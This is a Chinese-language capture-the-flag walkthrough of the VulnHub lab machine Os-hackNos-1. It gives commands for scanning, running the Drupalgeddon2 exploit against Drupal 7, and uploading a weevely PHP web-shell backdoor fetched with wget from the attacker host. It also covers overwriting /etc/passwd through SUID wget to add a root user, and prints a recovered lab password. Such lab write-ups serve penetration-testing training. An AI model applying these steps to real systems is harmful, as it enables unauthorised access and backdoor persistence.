Os-hackNos-1
一、环境搭建
实验主机:kali-linux 2023 虚拟机(VM)
实验靶机:Os-hackNos-1 靶机(VM)
实验网络:桥接模式
flag:1.普通用户的user.txt;2.root用户的user.txt
技能:漏洞利用 | web应用 | 暴力破解 | 权限提升
靶机下载:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
二、信息收集
主机发现:
- 确认自己的信息
1 ifconfig
- 探测网段存活主机
1 nmap -sP 192.168.133.0/24
- 也可以使用如下命令
1 netdiscover -i eth0 -r 192.168.133.0/24
端口扫描:
- 探测操作系统及软件版本信息
1 nmap -sTV -p- -Pn 192.168.133.97
- 经过探测发现开放22端口和80端口
1 22 端口 :SSH 服务端口,可能存在弱口令和暴力破解 2 80 端口 :HTTP 端口,可以通过目录扫描,去发现网站目录或者网站源码泄露或者备份文件泄露
- 访问一下80端口
目录探测:
- 探测一下网站目录信息
1 dirb http://192.168.133.97
- 可以看到网站CMS为drupal7,存在远程代码执行的漏洞,使用kali的msf模块,搜索drupal对应的exp
三、漏洞发现
- CMS版本为drupal7,搜索一下关于该版本的CMS漏洞
四、漏洞利用
1 将脚本拷贝下来 2 git clone https://github.com/dreadlocked/Drupalgeddon2.git 3 4 在运行脚本前,需要预装依赖包 highline 5 gem install highline 6 7 执行脚本 8 ruby drupalgeddon2.rb http://192.168.133.97/drupal/
- 查看权限
- 查看目录文件
五、权限提升
利用weevely(kali 菜刀)
- 使用weevely 生成木马,再将木马上传到靶机上
1 生成木马: 2 weevely generate hello ./door.php 3 4 打开kali web服务器: 5 python -m http.server 80 6 7 在靶机上使用wget工具下载 kali 上生成的木马文件: 8 wget http://192.168.133.125:80/door.php
- 使用weevely生成的木马内容
- 连接靶机,注意此处权限和路径问题会导致连接失败
1 weevely http://192.168.133.97/drupal/door.php hello
浏览用户目录
- 查看是否存在有用的信息
1 cd /home 2 ls -lh 3 cd james/ 4 ls -lh 5 cat user.txt
- 在 james 用户目录下发现一串MD5哈希值,解码失败
1 bae11ce4f67af91fa58576c1da2aad4b
- 浏览一下网站根目录,发现其他文件
- 解码之后再次使用Brainfuck解码
- 得到:james:Hacker@4514
切换用户
- 尝试切换用户,发现不能切换用户
suid 提权
- 检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)
1 audit_suidsgid -only-suid /
- 看到拥有wget的权限,这里的思路是把/etc/passwd的文件下载下来,然后添加一个具有root权限的用户,再传回去覆盖它。首先进行创建一个用户
1 openssl passwd -1 -salt 账号 密码
- 搭建web服务器,把靶机上的/etc/passwd下载下来
- 然后将刚才创建的用户加入进去,并在kali上开一个web服务器,用靶机连接下载已经更改的/ect/passwd去覆盖掉原来的文件即可
- 然后查看靶机上是否有新增账户,发现lxx账号信息即创建成功
- 切换失败,此方法行不通
利用metasploit
- 搜索漏洞组件
- 选择使用的工具模块,并设置相关参数
- 查看设置参数
- 攻击成功后,显示没有交互式shell,需要提升为交互式shell
1 python3 -c "import pty;pty.spawn('/bin/bash')"
- 得到权限后切换用户,再次失败
错误总结
- 最终结合经验发现,写入新建的账户有问题,即覆盖的root权限的用户创建失败
- 更改为admin账户后,在metasploit获得权限后即可切换用户
- 最后进入/root 目录下查看root.txt 完成测试